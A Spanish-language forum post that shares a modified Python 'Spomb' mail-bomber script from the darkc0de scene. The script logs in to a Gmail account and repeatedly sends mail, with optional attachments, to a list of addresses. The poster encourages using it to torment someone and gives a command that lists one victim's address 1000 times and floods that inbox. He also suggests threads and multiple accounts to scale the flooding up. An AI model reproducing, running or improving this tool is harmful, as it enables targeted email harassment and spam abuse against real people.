La misma utiliza un user y pass de gmail con los cuales envia correos a una lista de destinatarios.
Se mantiene el autor original, yo simplemente codifique para que envie opcionalmente attachments, mejore el loggin ante problemas en el envio del correo y arregle la parte de loop sobre la lista de emails que no funcionaba ...
Que lo disfruten ... si hacen mejoras, pues compartan.
Código:
#!/usr/bin/python
################################################################
# .___ __ _______ .___ #
# __| _/____ _______| | __ ____ \ _ \ __| _/____ #
# / __ |\__ \\_ __ \ |/ // ___\/ /_\ \ / __ |/ __ \ #
# / /_/ | / __ \| | \/ <\ \___\ \_/ \/ /_/ \ ___/ #
# \____ |(______/__| |__|_ \\_____>\_____ /\_____|\____\ #
# \/ \/ \/ #
# ___________ ______ _ __ #
# _/ ___\_ __ \_/ __ \ \/ \/ / #
# \ \___| | \/\ ___/\ / #
# \___ >__| \___ >\/\_/ #
# est.2007 \/ \/ forum.darkc0de.com #
# www.beenuarora.com #
################################################################
# Thanks to low1z for initial script
# Greetz to all darkc0de memeber
# Modified to support attachments, gives more descriptive errors
# and loop correctly by lain.
#
# If you found some kights outhere, plz let me know ...
import os, smtplib, mimetypes, time, sys, urllib, urllib2, socket
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
from email.MIMEBase import MIMEBase
from email import Encoders
def sendMail(recipient, attachment):
""" send mail using gmail user and password
"""
port = 587
relay = 'smtp.gmail.com'
gmailUser = 'id@gmail.com' # your gmail ID
gmailPassword = 'secret' # your gmail password
subject = 'Null' # subject from email
text = 'Text' # text / body from email
msg = MIMEMultipart()
msg['From'] = gmailUser
msg['To'] = recipient
msg['Subject'] = subject
msg.attach(MIMEText(text))
# If we have something attached ...
if attachment != None:
part = MIMEBase('application', "octet-stream")
part.set_payload( open(attachment,"rb").read() )
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="%s"'
% os.path.basename(attachment))
msg.attach(part)
mailServer = smtplib.SMTP(relay, port)
# try to use TLS
try:
mailServer.starttls()
except(smtplib.SMTPHeloError):
print "The server didnt reply properly to the HELO greeting.\n"
except(smtplib.SMTPException):
print "The server does not support the STARTTLS extension.\n"
except(RuntimeError):
print "SSL/TLS support is not available to your python interpreter.\n"
# try to log in
try:
mailServer.login(gmailUser, gmailPassword)
except(smtplib.SMTPAuthenticationError):
print "Bad user / passwd\n"
# try to send the email
try:
mailServer.sendmail(gmailUser, recipient, msg.as_string())
except(smtplib.SMTPRecipientsRefused):
print "All recipients were refused. Nobody got the mail. \
The recipients attribute of the exception object is a dictionary \
with information about the refused recipients (like the one \
returned when at least one recipient was accepted).\n"
except(smtplib.SMTPHeloError):
print "The server didnt reply properly to the HELO greeting.\n"
except(smtplib.SMTPSenderRefused):
print ("The server didnt accept the from_addr: %s\n." % gmailUser)
except(smtplib.SMTPDataError):
print "The server replied with an unexpected error code (other than a refusal of a recipient."
mailServer.close()
print('[-] Sent email to %s [-] ' % recipient)
if attachment:
print ('\t--attached file: %s\n' % attachment)
if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
SysCls = 'clear'
elif sys.platform == 'win32' or sys.platform == 'dos' or sys.platform[0:5] == 'ms-dos':
SysCls = 'cls'
else:
SysCls = 'unknown'
os.system(SysCls)
print "\n|---------------------------------------------------------------|"
print "| beenudel1986[@]gmail[dot]com |"
print "| Spomb v1.0 |"
print "| Do Visit www.BeenuArora.com & darkc0de.com |"
print "| |"
print "| Modified by Lain ... |"
print "| sxnet.com.ar |"
print "| |"
print "| ... under GPL, keep author info ... |"
print "|---------------------------------------------------------------|\n"
# We should have 3 arguments
if len(sys.argv) < 2:
print "\nUsage: ./spammer.py list.txt <attachment file>"
print "Ex: ./spomb.py list.txt <attachment file>\n"
sys.exit(1)
# First, the file with the emails
email_list = sys.argv[1]
try:
addresses = open(email_list, 'r')
except (IOError):
print " \n\nSpamming List Missing ..Exiting :("
sys.exit(0)
# Second, the attachment (this is optional)
if len(sys.argv) == 3:
attachment = sys.argv[2]
else:
attachment = None
if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
os.system('stty -echo')
if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
os.system('stty echo')
# Iterate over the email accounts
for address in addresses:
recipient = address[:-1]
try:
sendMail(recipient, attachment)
time.sleep(10)
except(urllib2.URLError, socket.timeout, socket.gaierror, socket.error):
print ('Something Went Wrong ..Check Manually for Error\n')
except(KeyboardInterrupt):
pass
print ('\n\nDone Mailing...')
Si quieren joderle la vida a alguien que no quieren mucho, pues es cuestion de hacer algo como ...
lain@lain-laptop:~$ python -c 'for i in range(1000): print "id@gmail.com"' > emails.txt
lain@lain-laptop:~$ ./spomb.py emails.txt
Pueden ajustar el sleep que es el tiempo que toma entre envio y envio, por defecto en 10s
time.sleep(10)
Posibles mejoras serian que use threads y varias accounts distintas, al mismo tiempo, para enviar los correos.
Saludos.










Autor




En línea

...